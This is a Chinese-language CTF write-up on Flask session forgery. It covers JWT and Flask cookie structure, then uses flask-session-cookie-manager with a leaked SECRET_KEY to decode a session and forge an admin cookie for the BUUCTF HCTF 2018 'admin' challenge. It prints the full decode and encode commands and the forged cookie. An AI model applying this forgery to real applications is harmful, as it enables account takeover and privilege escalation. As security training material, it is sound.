背景知识
Flask
Flask作为Python语言中最为轻量的Web框架, 由于其核心内容的简洁以及良好的可拓展性, 一直受到广泛的开发者所喜爱。
由于是轻量级的Web框架,使得Flask的Session机制是使用JWT保存在客户端的,当我们得知flask的SECRET_KEY
即可进行Session的伪造。
JSON Web Token(JWT)
JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:
- Header,存放签名算法
- Payload,存放数据
- Signature,存放签名值
因此,一个典型的JWT看起来是这个样子的:
xxxxx.yyyyy.zzzzz
因为使用了base64编码,这个字符串通常以eyJ
开头。
Flask的JWT实现与标准JWT略有不同。
Flask Session 的组成结构主要由三部分构成:
- 第一部分为Session Data ,即会话数据。
- 第二部分为Timestamp ,即时间戳。
- 第三部分为Cryptographic Hash ,即加密哈希。
Session伪造
条件:知道SECRET_KEY
使用工具https://github.com/noraj/flask-session-cookie-manager
编码
用法: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>
optional arguments:
-h, --help 帮助
-s <string>, --secret-key <string>
设置secret-key
-t <string>, --cookie-structure <string>
需要编码的会话数据
解码
usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>
optional arguments:
-h, --help 帮助
-s <string>, --secret-key <string>
设置secret-key
-c <string>, --cookie-value <string>
需要编码的完整Session值
例题:BUUCTF[HCTF 2018]admin
进入靶场注册并登录,获得账户Cookie。
在更换密码页面发现GitHub链接,发现网站源码。
进行代码审计,发现当Session中的name参数为admin时,会放出flag。
考虑到使用Flask框架,尝试进行Session伪造。在config.py
文件中找到SECRET_KEY
。
使用工具进行伪造:
$ python flask_session_cookie_manager3.py decode -s ckj123 -c ".eJw9kE2LwkAMhv_KkrOHftiL4KHQWrqQDF2mDpmL-FGdTh2XrcrqiP99Bxc8BJI85H1584DVfuzOBma
X8dpNYNXvYPaAjw3MQFSlR8te2zpi12ak6pTt0mjVJkIuHLsyQ0cGC05I6aN2eiCJN3Z1QsXChZ1Bv-ypqFNd1VlgHgucss9jVo3XVRthcZiSHELfxNpqyzb_RfllhWruQpFhtTQizCx3huQ2
0oU2ZHXPvgk6ZUrJpyOLc3hOYHse96vL99Cd3hHCSUIy9-yNDeapqEIVmKKiIcTIOCnv6I-B7foQ44ayjUU-f8n1bn3o3krtwvxg809OaxcArGEC13M3vn4GcQTPP0Fnavw.ZXrGvw.qNZtps
IjI-lciaFZR4qEsq_c-iM"
# output
{'_fresh': True, '_id': b'8a3263f24be95b7b5aee691fba92ca0665feffd531bb641f5fa35b427db9533038c05ad3de4088593dd5f6cb0014c9d29caaea94ca7a574d6a66bc4
8c177bf63', 'csrf_token': b'576503c8c3378c78371cdee9ca239c37b0611558', 'image': b'PXj1', 'name': 'a', 'user_id': '10'}
$ python flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'8a3263f24be95b7b5aee691fba92ca0665feffd531bb641f5fa35b
427db9533038c05ad3de4088593dd5f6cb0014c9d29caaea94ca7a574d6a66bc48c177bf63', 'csrf_token': b'576503c8c3378c78371cdee9ca239c37b0611558', 'image':
b'PXj1', 'name': 'admin', 'user_id': '10'}"
# output
.eJw9kE-LwkAMxb_KkrOH_rEXwUOhtXQhGbpMHTIXcW11OnVctiqrI373HVzYQyDJj7zHywM2-6k_G1hcpms_g83QweIBb5-wAFGVHi17beuIXZuRqlO2a6NVmwi5cuzKDB0ZLDghpY_a6ZEk
3tjVCRUrF3YG_Xqgok51VWeBeSxwzj6PWTVeV22ExWFOcgx9E2urLdv8B-WHFaq5C0WG1dqIMLPsDMldpAttyOqBfRN0ypSSd0cWl_Ccwe487TeXr7E__UcIJwnJ3LM3NpinogpVYIqKxhAj4
6S8oz8G1g0hxg1lG4t8-ZIb3PbQ_yu1K_ONzR85bV0AsO3ccIIZXM_99PobxBE8fwH6QWyk.ZXrJyA.s6ymdqTjd2OyXT3c4z060YMWLrw
将Cookie值更改为伪造后结果得到flag。